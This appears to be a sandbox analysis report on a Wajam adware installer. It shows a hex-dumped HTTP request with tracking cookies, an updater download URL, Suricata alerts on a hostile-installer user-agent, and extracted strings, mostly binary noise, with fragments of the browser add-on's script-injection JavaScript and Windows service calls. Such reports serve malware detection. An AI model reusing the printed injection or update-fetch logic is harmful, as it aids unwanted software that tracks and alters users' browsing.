    30 : FA F0 74 83 00 00 47 45 54 20 2F 73 75 70 70 6F [..t...GET /suppo]
    40 : 72 74 65 64 5F 75 72 6C 73 5F 6C 69 73 74 2E 70 [rted_urls_list.p]
    50 : 68 70 3F 76 3D 62 31 2E 32 32 26 75 6E 69 71 75 [hp?v=b1.22&uniqu]
    60 : 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 31 45 [e_id=C7C92D87F1E]
    70 : 46 32 42 43 35 34 42 46 31 46 33 38 32 45 35 39 [F2BC54BF1F382E59]
    80 : 34 39 38 35 37 26 61 69 64 3D 33 36 37 33 26 72 [49857&aid=3673&r]
    90 : 3D 37 36 37 31 34 20 48 54 54 50 2F 31 2E 31 0D [=76714 HTTP/1.1.]
    A0 : 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 [.Accept: */*..Ac]
    B0 : 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 [cept-Encoding: g]
    C0 : 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 55 73 [zip, deflate..Us]
    D0 : 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C [er-Agent: Mozill]
    E0 : 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E [a/5.0 (Windows N]
    F0 : 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 [T 6.1; Trident/7]
   100 : 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B [.0; rv:11.0) lik]
   110 : 65 20 47 65 63 6B 6F 0D 0A 48 6F 73 74 3A 20 77 [e Gecko..Host: w]
   120 : 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E [ww.wajam.com..DN]
   130 : 54 3A 20 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E [T: 1..Connection]
   140 : 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F [: Keep-Alive..Co]
   150 : 6F 6B 69 65 3A 20 50 48 50 53 45 53 53 49 44 3D [okie: PHPSESSID=]
   160 : 32 33 39 64 63 39 32 38 63 61 73 6D 32 30 6F 6D [239dc928casm20om]
   170 : 6D 66 6E 6A 61 67 65 76 66 64 3B 20 5F 77 61 75 [mfnjagevfd; _wau]
   180 : 3D 31 35 36 30 39 35 38 35 35 33 38 36 37 31 35 [=156095855386715]
   190 : 34 30 3B 20 5F 77 61 6C 3D 31 35 36 30 39 35 38 [40; _wal=1560958]
   1A0 : 35 39 33 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F [593; not_logged_]
   1B0 : 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 [unique_id=C7C92D]
   1C0 : 38 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 [87F1EF2BC54BF1F3]
   1D0 : 38 32 45 35 39 34 39 38 35 37 3B 20 5F 5F 75 74 [82E5949857; __ut]
   1E0 : 6D 61 3D 31 31 32 30 37 39 38 37 34 2E 31 31 30 [ma=112079874.110]
   1F0 : 34 30 35 38 39 30 35 2E 31 35 36 30 39 35 39 34 [4058905.15609594]
   200 : 36 31 2E 31 35 36 30 39 35 39 34 36 31 2E 31 35 [61.1560959461.15]
   210 : 36 30 39 35 39 34 36 31 2E 31 3B 20 5F 5F 75 74 [60959461.1; __ut]
   220 : 6D 62 3D 31 31 32 30 37 39 38 37 34 2E 31 2E 31 [mb=112079874.1.1]
   230 : 30 2E 31 35 36 30 39 35 39 34 36 31 3B 20 5F 5F [0.1560959461; __]
   240 : 75 74 6D 63 3D 31 31 32 30 37 39 38 37 34 3B 20 [utmc=112079874; ]
   250 : 5F 5F 75 74 6D 7A 3D 31 31 32 30 37 39 38 37 34 [__utmz=112079874]
   260 : 2E 31 35 36 30 39 35 39 34 36 31 2E 31 2E 31 2E [.1560959461.1.1.]
   270 : 75 74 6D 63 73 72 3D 28 64 69 72 65 63 74 29 7C [utmcsr=(direct)|]
   280 : 75 74 6D 63 63 6E 3D 28 64 69 72 65 63 74 29 7C [utmccn=(direct)|]
   290 : 75 74 6D 63 6D 64 3D 28 6E 6F 6E 65 29 3B 20 5F [utmcmd=(none); _]
   2A0 : 5F 75 74 6D 74 3D 31 3B 20 77 61 6A 61 6D 5F 69 [_utmt=1; wajam_i]
   2B0 : 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C 65 [e_addon_installe]
   2C0 : 64 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D 77 [d=1; APPSESSID=w]
   2D0 : 33 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A 0D [3|XQpWp|XQpWp...]
   2E0 : 0A [.]

Memory Forensics

String	Context	Stream UID
http://downloadfallback.wajam.com/update/updater/wajam_update.exe	Domain/IP reference	00047804-00003708-10921-613-00BF1057
http://nsis.sf.net/nsis_error	Domain/IP reference	00045479-00003408-62267-60-004030D6
http://go.microsoft.com/fwlink/?linkid=159651	Domain/IP reference	00047133-00001096-5531-120-002011D0

Suricata Alerts

Event	Category	Description	SID
local -> 5.135.138.118:80 (TCP)	A Network Trojan was detected	ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers	2011227
local -> 5.135.138.118:80 (TCP)	A Network Trojan was detected	ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers	2011227
local -> 5.135.138.118:80 (TCP)	A Network Trojan was detected	ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers	2011227
local -> 5.135.138.118:80 (TCP)	A Network Trojan was detected	ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers	2011227
local -> 5.135.138.118:80 (TCP)	A Network Trojan was detected	ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers	2011227

ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Strings

Download All Memory Strings (23KiB)

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~

Ansi based on Dropped File (nsqE177.tmp)

!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

Ansi based on Dropped File (nsqE177.tmp)

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~GetProcessWindowStationGetUserObjectInformationWGetLastActivePopupGetActiveWindowMessageBoxWUSER32.DLLx^A@@Unknown exceptioncsm (null)(null)EEE50P( 8PX700WP `h````xpxxxxEEE00P('8PW700PP (`h`hhhxppwppCONOUT$TypeLibSoftwareSYSTEMSECURITYSAMMimeHardwareInterfaceFileTypeComponent CategoriesDeleteNoRemoveForceRemoveValBDMSCLSIDAppIDTATATATASASASASASASASASAhttp://downloadfallback.wajam.com/update/Updater/wajam_update.exeupdate_pendinglast_update_checkupdateURLSOFTWARE\Wajam\Updateupdate.exewbCLSID\{431532BD-0AE1-4ABC-BE8C-919F3D1332E2}\InProcServer32%a, %d %b %Y %H:%M:%S +0000Msxml2.XMLHTTPGETIf-Modified-SinceICOyiAdvapi32.dllRegOpenKeyTransactedWRegCreateKeyTransactedWHKEY_CURRENT_CONFIGHKEY_DYN_DATAHKEY_PERFORMANCE_DATAHKEY_USERSHKEY_LOCAL_MACHINEHKEY_CURRENT_USERHKEY_CLASSES_ROOTHKCCHKDDHKPDHKUHKLMHKCUHKCR{D616A4A2-7B38-4DBC-9093-6FE7A4A21B17}LocalService-/ServiceCould not open Service ManagerRPCSSCould not start serviceCould not open serviceCould not stop serviceCould not delete serviceUnregServerRegServerUnregServerPerUserRegServerPerUserHandler not installedService stoppedBad service requestH_Az!@%@$@Z/@/@

Ansi based on Dropped File (nsqE177.tmp)

!$!PW]~~~sssjjj~~~ggg___|||[[[qqq~~~+++ekll

Ansi based on Dropped File (nsqE177.tmp)

!78=|puyv,[;p~VS=q.d10wJ.P1&^vD\3B#,Qx)p'X$

Ansi based on Dropped File (nsqE177.tmp)

!:vl@3_KEK;n.Olg| ofe6#"i$SWC[$B<8!,"MXCfjVZ7= >_r7"0C8n61l/,BkuiAAZB}5A4S5hMsi

Ansi based on Dropped File (nsqE177.tmp)

!;gBv>~===FP@/{6ANhk#Bf'&" "UYf@@@oooMjqqqqpnh7Suk

Ansi based on Dropped File (nsqE177.tmp)

!\(v2qlrvfe%;5x,5EN3vC(}K#/]S %j\+!]R9o2uvf!"0a&v?ioi^?R<"j("

Ansi based on Dropped File (nsqE177.tmp)

!^b_!ib_ cmt#dx|#ex#fx!b_N!^b_!ib_ gmt#h#i#j#kJ!^b_!ib_L!^b_!ib_M#t!ib_#tV!ib_ mt#J

Ansi based on Dropped File (nsqE177.tmp)

!A!B#HE&K'I%F*L)I-M

Ansi based on Dropped File (nsqE177.tmp)

!c?a2mr]bcNhkc*xO?*

Ansi based on Dropped File (nsqE177.tmp)

!L;d=d?0S0Q'H*Q0]$Q0`#P|=h3^2W4Vcyi@EFFFFFFFFFFFFFFE<,Y8d=i!BjBhAoCoAmBmCq%Ix&Hx$I{&N,Hv#C28"C%Nr-bQ}=lDu-Y'TGp9`/U'I#QZlbEIJJJJJJJJJJJJHCyJAv<p=j?hAm@o>l>n Br#Dt!DrDr=j+O2.<<e<tG7(k.b+R@k<a<^:\8Y8V`tlHILLLLLLLLLLFKC6p'[J|Cq;i7h9j;l>n@nAn@l@i2V A/V"O}6p]_LE5jBo4\7Z:Y8Y7W9Wexbwk}xQh\GILMNNMKGHmV^YK?s)[H}?q8j

Ansi based on Dropped File (nsqE177.tmp)

!O'w^;b"bbvb7wMn

Ansi based on Dropped File (nsqE177.tmp)

!P/$ayD[f/kQPmKe;7Lppc<9wGD>(Z.[po:?0{N|nNCf# 5$f$7hpz]E-P5*Z6S4

Ansi based on Dropped File (nsqE177.tmp)

!qB(5*+>A!^>#NipPuYnFx8qiUhu/JVDG-x)]tixqg}pW0u7[E"3(qz)^M%DNClM ~eOpG_&E+]p

Ansi based on Dropped File (nsqE177.tmp)

!This program cannot be run in DOS mode.$

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

"""_!O!g!W![!"o!" c!B !b

Ansi based on Dropped File (nsqE177.tmp)

"""sss)))@@@BBBcccLLL222yyyHHH---ooo

Ansi based on Dropped File (nsqE177.tmp)

""1'h>;bgyT<o9ve]<5>k7OW>Ul[#@v~'7}m{bzz\zx<F$B!*VAFfl][?iMAEZbj\g.knI|DmJZW,w~G9:#r|3y%?[~n5 Yk

Ansi based on Dropped File (nsqE177.tmp)

"":)P<t@$p&w;FK^`ekkdlq)V~-'%$&%

Ansi based on Dropped File (nsqE177.tmp)

"#* &888===--+"""BBB777"""*)*XXX777\\\uuusS4Z<Z<Z<Z<W;S4[=mfNu[\BkNiMV8Y;X:[=jn~woqptlxh{leqv|v@OjoZ(7T8EVz[_.xoB~!8S]>{4wb|3alptBvMvcWvv;!&&Qhq"B:B/#m_9)tyvPEJ+++""">?=112(((888 ! KJKXXXXXXsS4Z<Z<Z<Z<W;T5Y>Y<[=`Hn^GpTI'tE&tYN.Z:X:Y;Z<X:[=jzn~wlo|nryZ]$cc,1F\VlKYUdV$zZzVo(@Olj:eP(Hdc?OopWdPh_|s{4"&&"<LcWmVlMeF_QhUlRodHhz`vA9u/;E Y[WBGG===}oooZZZ___ZZZ,--sssppppppsS4Z<Z<Z<Z<V:P/A#wF#F$S6T7W:2

Ansi based on Dropped File (nsqE177.tmp)

"%UJW- 0*02^o<

Ansi based on Dropped File (nsqE177.tmp)

",sR??#?5#S5#tsV??9#?m#g4q##??#4s#?#5#e?5#ts??2$f?b$???$?m#=muirm#)pvirm#Orwi5#m#'

Ansi based on Dropped File (nsqE177.tmp)

"-&n_-u<z.We

Ansi based on Dropped File (nsqE177.tmp)

":":")+e);}}}}e=h.length===0?"{}":gap?"{\n"+gap+h.join(",\n"+gap)+"\n"+g+"}":"{"+h.join(",")+"}";gap=g;return e;default: return "";}}function quote(a){escapable.lastIndex=0;return escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return typeof b==="string"?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4);})+'"':'"'+a+'"';}function f(a){return a<10?"0"+a:a;}"use strict";if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(a){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null;};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(a){return this.valueOf();};}var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0

Ansi based on Dropped File (priam_bho.dll.1505483275)

"A$G%L&T8oP'f+t-/$s"f!__#g#dL{Dp>d@h#Jp)Ms;ekN}(i

Ansi based on Dropped File (nsqE177.tmp)

"C:\6a393ecb2861a27240d322dd407f6adb7218b0a5.exe"

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

"D! /Q<+!2JLvP,BMD87x`~`m~H}!@Diq&&XkK{"KH;B/JRSD-9`+&PjEm(+dE?Qt$<cDy'FX=QQAIAV&CI|i,9<TUDA}Cy%%uF,rRD"r6I$g@:UC'2AfuGQ-xSu

Ansi based on Dropped File (nsqE177.tmp)

"D/I&%Ejhn:w6}]HF

Ansi based on Dropped File (nsqE177.tmp)

"http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="

Ansi based on Process Commandline (iexplore.exe)

"K7^|;V*j3`Gy+U3#h!rxC/7mEB^1L!Gxf\ 7V)_055X.15L

Ansi based on Dropped File (nsqE177.tmp)

"oa<HgO;=&;mS7:5u@br?H3[DzkFzDUrT^~MV57?}Bz$;U?_z2J!U4x4=''='4x!7/~?4=.A]D^(z(}qY??w~gn@

Ansi based on Dropped File (nsqE177.tmp)

"PV^iii^^^~~~{{{~~~xfhjjjjjjjjjjjjff H*O+N+N-O0M4O3P,M+U

Ansi based on Dropped File (nsqE177.tmp)

"RT'wc,Yw~,g;Xb@Fq:|-K/39fFQ~:+J.P+9GQ.pwfR"\Z9,'

Ansi based on Dropped File (nsqE177.tmp)

"S3t^NFFF^]u, ;t|@;u

Ansi based on Dropped File (nsqE177.tmp)

"tfNFFfeSj[Fu, ;t@;u

Ansi based on Dropped File (nsqE177.tmp)

"znG/Ml;\5!><H%S;+'K&NBGl>]*nZ/(6~%cbkudk<r$k1O5dW@2!Jz}S~*^xsrYt+d[ZVc(oZOo&Hn>m\+8:kFnZHkR}

Ansi based on Dropped File (nsqE177.tmp)

#!?M>6xxO{?H;!-T,'tFa.4EFce~ABW,<g"<_m

Ansi based on Dropped File (nsqE177.tmp)

##.+/()*&&&sss}+-*IIIggghggAAAZVZzE8

Ansi based on Dropped File (nsqE177.tmp)

#+3;CScspp

Ansi based on Dropped File (nsqE177.tmp)

#,F`+8<Q18wtOy0u/cp9Ao)x?J&KB|VnB^_lEUp?qkwP$cdt3{zZD2X|W!M>~q2y{!/GQdt(W(P67OXL!*gZ#@p+F%pv$|nt{ 2wzX"8ZU7/"0@AK4?>4|^~<a*'% ^Zy`## \3[}&NAFW?JTSUd@fIO_T

Ansi based on Dropped File (nsqE177.tmp)

#0@=ZG_< Ec_463lY*?m*@

Ansi based on Dropped File (nsqE177.tmp)

#2Yevh1AE>j2Y}EFluAFlvl~YE3Guj

Ansi based on Dropped File (nsqE177.tmp)

#;jEP6*%;vtj}uXEE;iWjWW6JWWW6#;E%=u6Yj^0u_=uWj6-*;E>WW6*Ej[+PD=P6;AD$2M0AD$M

Ansi based on Dropped File (nsqE177.tmp)

#@[lni}j}j}j}j}j}j}i}i}i}j}j}j}i}i}i}j}i}j}l~j~i}i}i}i}i}i}j~lj}i}j}i}i}j~l~j~i}i}j}j}j}j}j}i}j}k~j~i}i}j}i}i}i}j}j}j}j}i}j}l~j~j}i}i}i}j}j}j}i}j}j~k~j}i}i}i}i}j}l~j~i}mi|@Y-&"=_slj}i|rdw0L2lnj~i}j}i}i}i}i}j}j~li}klMd2.Ldnli}i}i}i}i}i}i}i}i}i}p^s%C

Ansi based on Dropped File (nsqE177.tmp)

#@E9]uVRC3}@Ph@V[CE9]uwVhL@JYYh CW[FVh CPFuh@eFWh C8FEPh@>uh4@JY6Ht8h@JYVjuj9}uEuVh@

Ansi based on Dropped File (nsqE177.tmp)

#@fR8/9#Q'7R!"&BYlCP"h7I1V5& *b)&MlQv6)~3PD_4TzOIN;`u1-

Ansi based on Dropped File (nsqE177.tmp)

#]apS&J5;

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

#DMv-$S.O/5fVQo.Hxa(,=`

Ansi based on Dropped File (nsqE177.tmp)

#ev,7,a[T

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

#FD%ZRz^8"kxfA&

Ansi based on Dropped File (nsqE177.tmp)

#Kbms&N[o)AFF9-lO;'k+0xunRf

Ansi based on Dropped File (nsqE177.tmp)

#KRL|4B$s&5x~R]+A9={Kt8&'

Ansi based on Dropped File (nsqE177.tmp)

#w.iO

Ansi based on Dropped File (nsqE177.tmp)

#{eIq6lfx\MWRX)5Lj4nmS52#SIFiKfY5oJJKMyOIIWS^WRl[MyRII)J,]MURGR%%fPS()mjJg3TSE{Y%t#OgZXE}qx47R{k'kE;g:dqg_r_a9x3(c6{?S]j

Ansi based on Dropped File (nsqE177.tmp)

$%.{[)iX[tkw=n_hI|eM^Hj:c8xILtTW*d&ob

Ansi based on Dropped File (nsqE177.tmp)

$&c,8>.KJNRVXRNJRRVR[_J

Ansi based on Dropped File (nsqE177.tmp)

$(VIr3i6sSdMr%q

Ansi based on Dropped File (nsqE177.tmp)

$)min#5{?B6!* ?((^M={@P2&

Ansi based on Dropped File (nsqE177.tmp)

$)mmmkm~jl9ilRichmPELK!

Ansi based on Dropped File (nsqE177.tmp)

$,RichPELK! P$l P@ .textH

Ansi based on Dropped File (nsqE177.tmp)

$/kkkkrnmjjRichkPELD!9 P"Rl <@ l.text? `.rdata"

Ansi based on Dropped File (nsqE177.tmp)

$1p:uiuiuiiwiuiiidi!2iiitiRichuiPELdKd^5@.textcd `.rdatah@@.datap|@.ndata .rsrc

Ansi based on Dropped File (nsqE177.tmp)

$7PEL^B*4`@0R

Ansi based on Dropped File (nsqE177.tmp)

$?^x^x^x(^x(^x(^x&^x&^x^y^x(^x(^x(^xRich^xPEL?O

Ansi based on Dropped File (nsqE177.tmp)

$@$<@Ir+$@$@@@@F#Gr$@IF#GFGr$@F#GFGFGV$@I@@H@P@X@`@h@p@@DDDDDDDDDDDDDD$@@@@@E^_FGE^_IFGFGE^_FGFGFGE^_UVuWVqQYtPAuuu@DtjFQj=QYY;tV1QYP0Au

Ansi based on Dropped File (nsqE177.tmp)

$@3 tHt4+t$+tf*u+iWk

Ansi based on Dropped File (nsqE177.tmp)

$A$A$PjV@3=]j2Ph

Ansi based on Dropped File (nsqE177.tmp)

$BAV9Ptku;rkM^;s9Pt3]5AX1Aj heA23}}]KtjY+t"+t+tY+uC}uTAAUw\]YpQt2t!Ht*AAAA

Ansi based on Dropped File (nsqE177.tmp)

$GjG?ts_$

Ansi based on Dropped File (nsqE177.tmp)

$iXH!6@4"8ZihU)&a_g+A[.fB*xO'dTq^MZUF92!0dx*'W^CUEb'fkdqB~W7Z9:O5AshoL_Z0&x6$rw

Ansi based on Dropped File (nsqE177.tmp)

$j1OYy}aL

Ansi based on Dropped File (nsqE177.tmp)

$M+Q/T-Q-P

Ansi based on Dropped File (nsqE177.tmp)

$oo?oRichPEL?M!,(:@PIl|Ax`p@|.text$+, `.rdata@

Ansi based on Dropped File (nsqE177.tmp)

$P33333RichPEL|K! `"`!P@`P|@ 8.text& `.rdata

Ansi based on Dropped File (nsqE177.tmp)

$Pt$@t$x@jA#Qt$jjt$t$@UVuWjd_OEnsa@j3YVEjPuU

Ansi based on Dropped File (nsqE177.tmp)

$VR$V$%i$V$3%i$V$G%i$V$[%iii$VRl%LL{Liii$p%T%%iiUV%o$VR"USR%,$%o%VSR%6$%o%VSR%@$%o%VSR%J$%o%VSR%S$%o%V$%iX3n%iY3n%L??%?&?&?3&?H&?]&?r&?&?&?&?&?'?'?9'k='a'

Ansi based on Dropped File (nsqE177.tmp)

$VRR$$$Vli$$$Vi$$$Vi$$$Vi$$iii$V$%

Ansi based on Dropped File (nsqE177.tmp)

$|< /4? sd'

Ansi based on Dropped File (nsqE177.tmp)

$|@$,@Ir+$@$|@@@@F#Gr$|@IF#GFGr$|@F#GFGFGV$|@I0@8@@@H@P@X@`@s@DDDDDDDDDDDDDD$|@@@@@E^_FGE^_IFGFGE^_FGFGFGE^_Uh`7A0AthP7AP0Atu]UuYu1Ajk YjYV+VVV"CV

Ansi based on Dropped File (nsqE177.tmp)

%&%;(XWE,my6IPZ_acb`iw7h5'*)

Ansi based on Dropped File (nsqE177.tmp)

%-|cqvpYR?D7rZUDJ

Ansi based on Dropped File (nsqE177.tmp)

%<@%D@]H@UH@RyZtdR~VPEEPP=@@~*u3Xu^XY<@<@E^XY<uZZE=H@u

Ansi based on Dropped File (nsqE177.tmp)

%>Wj~oF_0o}oWn"}~?Y})FzmIfll

Ansi based on Dropped File (nsqE177.tmp)

%@RegDeleteKeyTransactedWRegDeleteKeyExWqB=

Ansi based on Dropped File (nsqE177.tmp)

%`56J:T_-MKhEXK7_EcsH

Ansi based on Dropped File (nsqE177.tmp)

%a, %d %b %Y %H:%M:%S +0000

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

%c%c.%c%c.%c%c%c%c %c%c:%c%c:%c%c

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

%d:%02d:%02d

Ansi based on Dropped File (inetc.dll.1181384010)

%dkB (%d%%) of %dkB @ %d.%01dkB/s

Ansi based on Dropped File (inetc.dll.1181384010)

%dSoftware\Microsoft\Windows\CurrentVersion\Microsoft\Internet Explorer\Quick Launch

Ansi based on Dropped File (nsqE177.tmp)

%EnAMP#'#nNX.i13|*x#y<xLpOqz)vz:)niYoK2/3$^qqN'7P!$,@@Z1R]xEqDSdwn;

Ansi based on Dropped File (nsqE177.tmp)

%GUID:"PSOAInterface"%

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

%iEl%LE?q.{i;;...m#"DiDSD...m#S"[%i[L[?q.{iRR...m#"[l%i[8 [...m#8 "%if{if?....m#5#"%iqiq?....m#5#"5#8 ?.ts??....m#5#"?/...m#8 "...m#5#"3n/3n/V3nLV?#,i{iZ"/{&/1/%)E/I

Ansi based on Dropped File (nsqE177.tmp)

%ii%ii%ii$V$%$V$

Ansi based on Dropped File (nsqE177.tmp)

%NbEBsf:FUB_g\$buw@dPA$3#'EE8[FDhL/oNwt

Ansi based on Dropped File (nsqE177.tmp)

%PROGRAMFILES%\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

%PROGRAMFILES%\Wajam\IE\favicon.ico

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

%PROGRAMFILES%\Wajam\IE\priam_bho.dll

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

%PROGRAMFILES%\Wajam\uninstall.exe

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

%R]D$@=@wD$P|tqD$

Ansi based on Dropped File (nsqE177.tmp)

%RV,q0|.lV`H;2WwmTYxnMZt-WF4f~'bv=#76f%LcS[>tQ6@Y^o?n* ~,I6

Ansi based on Dropped File (nsqE177.tmp)

%T9bX\;5Iq5@N@2YRv6T28S,.f_GC_Fc.W

Ansi based on Dropped File (nsqE177.tmp)

%u.%u%s%s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

%u0CCrC4W1B*W1t15` (dH@#3i0Bi|kcRFBw^4z&CzcU|qjtGw>8nu.@yD SR2?$xHW!YwDz:<LzJSt\2:S^D=z:`#R}7R/

Ansi based on Dropped File (nsqE177.tmp)

%XB!~vVtH76M76|:]]6:d:FsFx

Ansi based on Dropped File (nsqE177.tmp)

& flagInfo.unique_id !== undefined) {valid = true;}if (valid === false) {priam.background.trace.add(method_name,'Bad flagInfo: '+flagInfo);}}if (valid === false) {priam.background.trace.add(method_name,'Bad flagInfo: '+flagInfo);}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}return valid;},download: function(url, callback){var xhr = new XMLHttpRequest();xhr.open( 'GET', url, true);xhr.onreadystatechange = function() {if (xhr.readyState == 4) {callback(url, xhr.status, xhr.responseText, xhr);}};xhr.send();},post: function(url, data){var request = new XMLHttpRequest();request.open('POST', url, true);request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');request.send(data);}};priam.background.requestHandler = {add_trace: function(request, response){var method_name = request.method_na

Ansi based on Dropped File (priam_bho.dll.1505483275)

&,DBAzzzFFG##$oookkktS4Z<Z<Z<X:S5gNW7~fMxbnTK+m^>P/]?zZ>jR2Y<Z;Z<X:[>gLbr>6TVy`}qT{[ph*NkKk~9(gkG{^T}gKzsTY[iUk89TA[;U4ni75 -

Ansi based on Dropped File (nsqE177.tmp)

&4DP^t*<L^l~(BVf$8Pf(<Rdt$8F`n|$6Lf|,Bkernel32.dllDeleteCriticalSectionLeaveCriticalSectionEnterCriticalSectionInitializeCriticalSectionVirtualFreeVirtualAllocLocalFreeLocalAllocGetCurrentThreadIdWideCharToMultiByteMultiByteToWideCharlstrlenAlstrcpynALoadLibraryExAGetThreadLocaleGetStartupInfoAGetProcAddressGetModuleHandleAGetModuleFileNameAGetLocaleInfoAGetLastErrorGetCommandLineAFreeLibraryFindFirstFileAFindCloseExitProcessWriteFileUnhandledExceptionFilterRtlUnwindRaiseExceptionGetStdHandleuser32.dllGetKeyboardTypeLoadStringAMessageBoxACharNextAadvapi32.dllRegQueryValueExARegOpenKeyExARegCloseKeyoleaut32.dllSysFreeStringSysReAllocStringLenSysAllocStringLenkernel32.dllTlsSetValueTlsGetValueTlsFreeTlsAllocLocalFreeLocalAllocadvapi32.dllOpenProcessTokenLookupPrivilegeValueALookupAccountNameAAdjustTokenPrivilegeskernel32.dlllstrcpynAWriteFileVirtualQueryGlobalFreeGlobalAllocGetVersionExAGetThreadLocaleGetStringTypeExAGetStdHandleGetProcAddressGetModuleHandleAGetModuleFileNameAGetLocaleInfoAGetLocalTimeGetLastErrorGetDiskFreeSpaceAGetCurrentProcessGetCPInfoGetACPFormatMessageAFindFirstFileAFindCloseFileTimeToLocalFileTimeFileTimeToDosDateTimeEnumCalendarInfoACreateFileACloseHandleuser32.dllMessageBoxALoadStringAGetSystemMetricsCharNextAkernel32.dllSleepadvapi32.dllUnlockServiceDatabaseStartServiceAQueryServiceStatusQueryServiceConfigAOpenServiceAOpenSCManagerALockServiceDatabaseGetServiceDisplayNameAGetServiceKeyNameAEnumDependentServicesADeleteServiceCreateServiceAControlServiceCloseServiceHandleChangeServiceConfigAadvapi32.dllLsaCloseLsaRemoveAccountRightsLsaAddAccountRightsLsaOpenPolicy^( H(hHhdX8hXHP0xk{!1@Te;Qcy

Ansi based on Dropped File (nsqE177.tmp)

&AwSWjh3PQC$HF+yjd}M_jh+EDARP#+jQSRP#}U}M|sGE3UEyIAu

Ansi based on Dropped File (nsqE177.tmp)

&XyPJ%.Pdmf#C\rbNXwo{utq7.&PtVBFs[)<Bb Fld

Ansi based on Dropped File (nsqE177.tmp)

&|@6H16l~P

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

'$J6^6]<c@fDj6\fppppppggg333PPPK<@@@@@4Z|?<@@@@@@9Vlxxxxxrttxxxxxjswxxxwissnngrlxxxxxyoxxxwrxxxxv5 @

Ansi based on Dropped File (nsqE177.tmp)

'7X-QZq+{S^?gl@9%YcMDYiQS:z*XaiE"

Ansi based on Dropped File (nsqE177.tmp)

';var str = '';try {var mappingListJsonString = priam.background.preferences.get('mappingListJsonString');var mappingList = null;try {mappingList = JSON.parse(mappingListJsonString);}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}var valid = priam.background.util.isValidMappingList(mappingList);if (valid === true){try {var supported_sites = mappingList.supported_sites;var siteObject;var script_array;var script_array_length;var script_key;for (var siteName in supported_sites) {siteObject = mappingList.supported_sites[siteName];script_array = siteObject.js_files;script_array_length = script_array.length;for (var j=0; j<script_array_length;j++) {script_id = script_array[j].id;script_key = 